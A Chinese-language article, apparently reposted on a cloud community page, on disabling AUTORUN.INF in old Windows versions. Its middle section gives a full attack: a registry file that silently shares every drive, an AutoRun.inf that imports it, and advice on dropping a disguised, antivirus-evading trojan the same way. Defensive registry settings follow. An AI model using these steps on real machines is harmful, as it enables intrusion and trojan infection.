徹底禁止AUTORUN.INF (zz)

來源:互聯網
上載者:User

其實網上找起來比較麻煩,簡而言之,就是把HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer//NoDriveTypeAutoRun改為FF 00 00 00, 禁止所有裝置上的AUTORUN.INF自動運行。ok!

至於具體的原理,請參考下面的文章。

ZZ from http://xiaomao1113.bokee.com/
///////////////////////////////////////////////////////////////////////////////

最近網上流行通過AutoRun.inf檔案使對方所有的硬碟完全共用或中木馬的方法,由於AutoRun.inf檔案在駭客技術中的應用還是很少見的,相應的資料也不多,有很多人對此覺得很神秘,本文試圖為您解開這個迷,使您能完全的瞭解這個並不複雜卻極其有趣的技術。
  一、理論基礎
  經常使用光碟片的朋友都知道,有很多光碟片放入光碟機就會自動運行,它們是怎麼做的呢?光碟片一放入光碟機就會自動被執行,主要依靠兩個檔案,一是光碟片上的AutoRun.inf檔案,另一個是作業系統本身的系統檔案之一的Cdvsd.vxd。Cdvsd.vxd會隨時偵測光碟機中是否有放入光碟片的動作,如果有的話,便開始尋找光碟片根目錄下的AutoRun.inf檔案。如果存在AutoRun.inf檔案則執行它裡面的預設程式。
  AutoRun.inf不光能讓光碟片自動運行程式,也能讓硬碟自動運行程式,方法很簡單,先開啟記事本,然後用滑鼠右鍵點擊該檔案,在快顯功能表中選擇“重新命名”,將其改名為AutoRun.inf,在AutoRun.inf中鍵入以下內容:
  [AutoRun]    //表示AutoRun部分開始,必須輸入
  Icon=C:C.ico  //給C盤一個個人化的盤符表徵圖C.ico
  Open=C:1.exe  //指定要運行程式的路徑和名稱,在此為C盤下的1.exe
  儲存該檔案,按F5重新整理案頭,再看“我的電腦”中的該盤符(在此為C盤),你會發現它的磁碟表徵圖變了,雙擊進入C盤,還會自動播放C盤下的1.exe檔案!
  解釋一下:“[AutoRun]”行是必須的固定格式,“Icon”行對應的是表徵圖檔案,“C:C.ico”為表徵圖檔案路徑和檔案名稱,你在輸入時可以將它改為你的圖片檔案所在路徑和檔案名稱。另外,“.ico”為表徵圖檔案的副檔名,如果你手頭上沒有這類檔案,可以用看圖軟體ACDSee將其他格式的軟體轉換為ico格式,或者找到一個尾碼名為BMP的檔案,將它直接改名為ICO檔案即可。
  “Open”行指定要自動啟動並執行檔案及其盤符和路徑。要特別說明的是,如果你要改變的硬碟跟目錄下沒有自動播放檔案,就應該把“OPEN”行刪掉,否則就會因為找不到自動播放檔案而打不開硬碟,此時只能用滑鼠右鍵單擊盤符在快顯功能表中選“開啟”才行。
  請大家注意:儲存的檔案名稱必須是“AutoRun.inf”,編製好的Autorun.inf檔案和表徵圖檔案一定要放在硬碟根目錄下。更進一步,如果你的某個硬碟內容暫時比較固定的話,不妨用Flash做一個自動播放檔案,再編上“Autorun”檔案,那你就有最酷、最個性的硬碟了。
  到這兒還沒有完。大家知道,在一些光碟片放入後,我們在其表徵圖上單擊滑鼠右鍵,還會產生一個具有特色的目錄菜單,如果能對著我們的硬碟點擊滑鼠右鍵也產生這樣的效果,那將更加的有特色。其實,光碟片能有這樣的效果也僅僅是因為在AutoRun.inf檔案中有如下兩條語句:

  shell標誌=顯示的滑鼠右鍵菜單中內容
  shell標誌command=要執行的檔案或命令列
  所以,要讓硬碟具有特色的目錄菜單,在AutoRun.inf檔案中加入上述語句即可,樣本如下:
  shell1=天若有情天亦老
  shell1command=notepad ok.txt 

儲存完畢,按F5鍵重新整理,然後用滑鼠右鍵單擊硬碟表徵圖,在快顯功能表中會發現“天若有情天亦老”(圖1),點擊它,會自動開啟硬碟中的“ok.txt”檔案。注意:上面樣本假設“ok.txt”檔案在硬碟根目錄下,notepad為系統內建的記事本程式。如果要執行的檔案為直接可執行程式,則在“command”後直接添加該執行程式檔案名稱即可。

 

圖 1

  二、執行個體

  下面就舉個例子:如果你掃到一台開著139共用的機器,而對方只完全共用了D盤,我們要讓對方的所有磁碟機都共用。首先編輯一個註冊表檔案,開啟記事本,鍵入以下內容:

  REGEDIT4
  '此處一定要空一行
  [HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionNetworkLanmanC$]
  "Path"="C:/"
  "Remark"=""
  "Type"=dword:00000000
  "Flags"=dword:00000302
  "Parmlenc"=hex:
  "Parm2enc"=hex:

  [HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionNetworkLanmanD$]
  "Path"="D:/"
  "Remark"=""
  "Type"=dword:00000000
  "Flags"=dword:00000302
  "Parmlenc"=hex:
  "Parm2enc"=hex:

  [HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionNetworkLanmanC$]
  "Path"="E:/"
  "Remark"=""
  "Type"=dword:00000000
  "Flags"=dword:00000302
  "Parmlenc"=hex:
  "Parm2enc"=hex:

  以上我只設定到E盤,如果對方有很多邏輯盤符的請自行設定。將以上部分另存新檔Share.reg檔案備用。要特別注意REGEDIT4為大寫且頂格書寫,其後要空上一行,在最後一行記得要按一次斷行符號鍵。

  然後開啟記事本,編製一個AutoRun.inf檔案,鍵入以下內容:

  [AutoRun]
  Open=regedit/s Share.reg   //加/s參數是為了匯入時不會顯示任何資訊

  儲存AutoRun.inf檔案。將Share.reg和AutoRun.inf這兩個檔案都複製到對方的D盤的根目錄下,這樣對方只要雙擊D盤就會將Share.reg匯入註冊表,這樣對方電腦重啟後所有磁碟機就會都完全共用出來。

  如果想讓對方中木馬,只要在AutoRun.inf檔案中,把“Open=Share.Reg”改成“Open=木馬服務端檔案名稱”,然後把AutoRun.inf和配置好的木馬服務端一起複製到對方D盤的根目錄下,這樣不需對方運木馬服務端程式,而只需他雙擊D盤就會使木馬運行!這樣做的好處顯而易見,那就是大大的增加了木馬啟動並執行主動性!須知許多人現在都是非常警惕的,不熟悉的檔案他們輕易的不會運行,而這種方法就很難防範了。

  要說明的是,給你下木馬的人不會那麼蠢的不給木馬加以偽裝,一般說來,他們會給木馬服務端檔案改個名字,或好聽或和系統檔案名稱很相像,然後給木馬換個表徵圖,使它看起來像TXT檔案、ZIP檔案或圖片檔案等,,最後修改木馬的資源檔使其不被殺毒軟體識別(具體的方法可以看本刊以前的文章),當服務端使用者信以為真時,木馬卻悄悄侵入了系統。其實,換個角度理解就不難了——要是您給別人下木馬我想你也會這樣做的。以上手段再輔以如上內容的AutoRun.inf檔案就天衣無縫了!

三、防範方法

 

  共用分類完全是由flags標誌決定的,它的索引值決定了共用目錄的類型。當flags=0x302時,重新啟動系統,目錄共用標誌消失,表面上看沒有共用,實際上該目錄正處於完全共用狀態。網上流行的共用蠕蟲,就是利用了此特性。如果把"Flags"=dword:00000302改成"Flags"=dword:00000402,就可以看到硬碟被共用了,明白了嗎?秘密就在這裡!

  以上代碼中的Parmlenc、Parm2enc屬性項是加密的密碼,系統在加密時採用了8位密碼分別與“35 9a 4b a6 53 a9 d4 6a”進行異或運算,要想求出密碼再進行一次異或運算,然後查ASCII表可得出目錄密碼。在網路軟體中有一款軟體就利用該屬性進行網路密碼破解的,在區域網路內從一台機器上可以看到另一台電腦的共用密碼。

  利用TCP/IP協議設計的NethackerⅡ軟體可以穿過Internet網路,找到共用的主機,然後進行相應操作。所以當您通過Modem上網時,千萬要小心,因為一不小心,您的主機將完全共用給對方了。

  解決辦法是把HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionNetworkLanMan下面的“C$”、“D$”、“E$”等刪掉。然後刪除windowssystem下面的Vserver.vxd刪除,它是Microsoft網路上的檔案與印表機共用虛擬設備驅動程式,再把HKEY_LOCAL_MACHINESystemCurrentControlSetServicesVxD下的Vserver索引值刪掉,就會很安全了。

  另外,關閉硬碟AutoRun功能也是防範駭客入侵的有效方法之一。具體方法是在“開始”菜單的“運行”中輸入Regedit,開啟登錄編輯程式,展開到HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExploer主鍵下,在右側邊窗格中找到“NoDriveTypeAutoRun”,就是這個鍵決定了是否執行CDROM或硬碟的AutoRun功能。

  雙擊“NoDriveTypeAutoRun”,在預設狀態下(即你沒有禁止過AutoRun功能),在快顯視窗中可以看到“NoDriveTypeAutoRun”預設索引值為95,00,00,00,(圖2)。其中第一個值“95”是十六進位值,它是所有被禁止自動運行裝置的和。將“95”轉為二進位就是10010101,其中每位代表一個裝置,Windows中不同裝置會用如下數值表示:

圖 2

  裝置名稱     第幾位 值 裝置用如下數值表示  裝置名稱含義
  DKIVE_UNKNOWN    0  1  01h         不能識別的裝置類型
  DRIVE_NO_ROOT_DIR  1  0  02h         沒有根目錄的磁碟機(Drive without root directory)
  DRIVE_REMOVABLE  2  1  04h         抽取式磁碟機(Removable drive)
  DRIVE_FIXED    3  0  08h         固定的磁碟機(Fixed drive) 
  DRIVE_REMOTE     4  1  10h         網路磁碟機(Network drive)
  DRIVE_CDROM    5  0  20h         光碟機(CD-ROM)  
  DRIVE_RAMDISK    6  0  40h         RAM磁碟(RAM Disk)
  保留         7  1  80h         未指定的磁碟機類型(Not yet specified drive disk)

  在上面所列的表中值為“0”表示裝置運行,值為“1”表示該裝置不運行(預設情況下,Windows禁止80h、10h、4h、01h這些裝置自動運行,這些數值累加正好是十六進位的95h,所以NoDriveTypeAutoRun”預設索引值為95,00,00,00)。

由上面的分析不難看出,在預設情況下,會自動啟動並執行裝置是DRIVE_NO_ROOT_DIR、DRIVE_FIXED、DRIVE_CDROM、DRIVE_RAMDISK這四個保留裝置,所以要禁止硬碟自動運行AutoRun.inf檔案,就必須將DRIVE_FIXED的值設為1,這是因為DRIVE_FIXED代表固定的磁碟機,即硬碟。這樣一來,原來的10010101(在表中“值”列中由下向上看)就變成了二進位的10011101,轉為十六進位為9D。現在,將“NoDriveTypeAutoRun”的索引值改為9D,00,00,00後關閉登錄編輯程式,重啟電腦後就會關閉硬碟的AutoRun功能。
  如果你看明白了,那你肯定知道該怎樣禁止光碟片AutoRun功能了,對!就是將DRIVE_CDROM設為1,這樣“NoDriveTypeAutoRun”索引值中的第一個值就變成了10110101,也就是十六進位的B5。將第一個值改為B5後關閉登錄編輯程式,重啟電腦後就會關閉CDROM的Autorun功能。如果僅想禁止軟體光碟片的AutoRun功能,但又保留對CD音頻碟的自動播放能力,這時只需將“NoDriveTypeAutoRun”的索引值改為:BD,00,00,00即可。
  如果想要恢複硬碟或光碟機的AutoRun功能,進行反方向操作即可。
  事實上,大多數的硬碟根目錄下並不需要AutoRun.inf檔案來運行程式,因此我們完全可以將硬碟的AutoRun功能關閉,這樣即使在硬碟根目錄下有AutoRun.inf這個檔案,Windows也不會去運行其中指定的程式,從而可以達到防止駭客利用AutoRun.inf檔案入侵的目的。
  除此以外,我們還應讓Windows能顯示出隱藏的共用。大家都知道,在Windows 9X中設定共用時,通過在共用名稱後加上“$”這個符號,可使共用隱藏。比如,我們給一個名為share的電腦的C盤設定共用時,只要將其共用名稱設為C$。這樣我們將看不到被共用的C盤,只有通過輸入該共用的確切路徑,才能訪問此共用。不過我們只要用將電腦中的msnp32.dll檔案稍做修改。就可以讓Windows顯示出隱藏的共用。
  由於在Windows下msnp32.dll會被調用,不能直接修改此檔案,所以第一步我們要複製msnp32.dll到C盤下並改名為msnp32,msnp32.dll在C:Windowssystem檔案夾下。運行UltraEdit等十六進位檔案編輯器開啟msnp32,找到“24 56 E8 17”(位於位移地址00003190~000031A0處),找到後將“24”改為“00”,然後儲存,關閉UltraEdit。重啟電腦進入DOS模式,在命令提示字元下輸入copy c:msnp32.dll c:Windowssystemmsnp32.dll,重啟進入Windows,現在雙擊share就能看見被隱藏的共用了。
  最後要提醒大家利用TCP/IP協議設計的NethackerⅡ等駭客軟體可以穿過Internet網路,找到共用的主機,然後進行相應操作。所以當您通過Modem上網時,千萬要小心,因為一不小心,您的主機將完全共用給對方了。防範這類事情發生的方法無非是經常檢查系統,給系統打上補丁,經常使用反黑殺毒軟體,上網時開啟防火牆,注意異常現象,留意AutoRun.inf檔案的內容,關閉共用或不要設定為完全共用,且加上複雜的共用密碼。
  聲明:本文的目的是使大家能清楚地瞭解網上流行的駭客手段,增強自己的防護意識,因此請大家不要用本文的方法去幹違法的事情,切記:己所不欲,勿施於人!

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.